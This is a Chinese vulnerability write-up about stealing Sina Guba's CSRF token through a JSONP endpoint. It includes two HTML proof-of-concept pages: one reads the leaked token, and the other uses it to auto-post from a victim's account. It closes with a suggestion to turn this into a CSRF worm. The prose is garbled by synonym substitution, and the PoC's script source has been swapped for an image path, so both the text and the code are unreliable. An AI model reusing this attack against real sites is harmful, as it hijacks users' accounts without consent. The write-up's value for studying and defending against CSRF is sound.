迩来jsonp很火,诳言说已经是被玩烂了的,只是一直没有受到各人的重视。正幸好上个月,我挖过一个因为jsonp组成的新浪某社区CSRF,预先是为了筹备一篇文章,以后这篇文章也会拿出来分享。
因为新浪已经修复了题目,所以我先把这个裂缝分享出来。以下是预先写的悉数文章。
0x01 引子
据说新浪蒲月送衣服,我其实也没太多空去挖洞。副本想交一个两年前挖的CSRF刷粉,后果拿出来一看那洞早没了,目的站都换了。
详细说,即是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。
迩来股市很火啊,几许人在股市里兴旺致富。因此我复杂开着burpsuite在股吧里转了一圈,创作发明了一处居生理的CSRF。
新浪微博玩的多的同窗都知道新浪针对CSRF裂缝的戒备策略是搜检Referer,但股吧发帖这里却不是,少见地搜检是token。
如图,抓一个畸形发帖的POST数据包,咱们大约看到其中含有_csrf_token这个字段。颠末复杂FUZZ创作发明,这个乞求是不搜检Referer的,只需_csrf_token精确便可发帖。
那么,若何获取_csrf_token,我有以下思路:
为甚么我会有以上思路?首先,获取token一定是一个跨域进程,跨域的话突出即是CORS、postMessage和jsonp,这里CORS和postMessage都是不具有的,那么我就去找jsonp。
flash的思路该当已经流传已久了,旧年这个时候/fd就已经在drops里说到了这个:http://drops.wooyun.org/tips/2031
但法2有一个很事多的前提是咱们必要找到一个能管制输出内容的点,如上传、jsonp等,但实际上何等的地位并不好找,利用起来不如第一种方法复杂。
0x02 jsonp出卖了你的_csrf_token
那么,跟着各人的思路来测试。
我先将_csrf_token修改成未便一个字符串,发送创作发明前去何等一个后果:
前去的数据包是一个json款式的字符串,其中搜罗了一个_csrf_token。频繁发送这个数据包,我创作发明这个token每次乡村更动。
那么我可能大约猜到,股吧的token是一个动静生成的,该当是贮具有session中,每次搜检完成后会生成一个新的。
但这里是json款式的前去值,而非jsonp。
因此我在GET参数中参加“&callback=hehehe”尝尝:
很领会理睬,前去的款式变了。只管不是jsonp,但倒是一个<script>了。
为甚么加上callback=hehehe就变了?这该当是一个开发习尚,突出开发经管api的时候乡村有json和jsonp两种款式,而突出取jsonp的函数名的变量名即是callback。
这里是<script>还是无法跨域呀,parent.hehehe实验父框架中的hehehe函数,但父框架(10.211.55.3)和guba.sina.com.cn还是一致域,chrome下会爆出这个错误:
持续尝试,将HTTP方法改成GET:
惊喜,方法一变就失掉jsonp了。
那么我用这个jsonp里的_csrf_token尝尝能不克不及失利发帖:
悲剧的是,不可……
那么我有两个猜测
第一个猜测被我的步骤员直觉否定了,我没见过有何等写步骤的。
我尝试第二个猜测,在GET数据包的URL中加上&bid=9947,再次发送数据包:
仍旧是jsonp款式,我将这个token再写入post数据包中发送:
失利了!
一个jsonp将_csrf_token彻底出卖了。
0x03 构造POC宣布利便帖子
那么我初步编写POC来完成刚才手工完成的步骤。思路以下:
先构造一个获取token的复杂代码:
Default12345678910111213 | <html><head><title>test</title><meta charset="utf-8"><script type="text/javascript">function hehehe(obj){ console.log(obj); alert(obj["result"]["data"]["_csrf_token"]);}</script><script type="text/javascript" src=“/uploads/allimg/191104/094K122H-9.jpg"></script></head></html> |
成果如图:
已经获取到token了。
这时候,将token嵌入表单中提交便可:
Default12345678910111213141516171819202122232425 | <html><head><title>test</title><meta charset="utf-8"></head><body><form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend"><input type="hidden" name="bid" value="9947"><input type="hidden" name="tid" value=""><input type="hidden" name="content" value="这是测试后果"><input type="hidden" name="title" value="这是测试标题题目"><input type="hidden" id="token" name="_csrf_token" value=""><input type="hidden" name="anonymous" value="1"></form><script type="text/javascript">function hehehe(obj){ console.log(obj); var csrf_token = obj["result"]["data"]["_csrf_token"]; document.getElementById("token").value = csrf_token; document.getElementById("csrfsend").submit();}</script><script type="text/javascript" src="/uploads/allimg/191104/094K122H-9.jpg"></script></body></html> |
以上代码,生涯为sinacsrf.html,利便用户访问后便可触发,在板块9947宣布一篇新帖子:
如图可见已宣布:
这即是一个很典型的CSRF裂缝,经由jsonp窃取token来绕过后端的搜检。
宣布的帖子里还能再贴入链接,引诱别的用户点击,点击访问再次发帖,组成一个CSRF蠕虫。
[via@phith0n]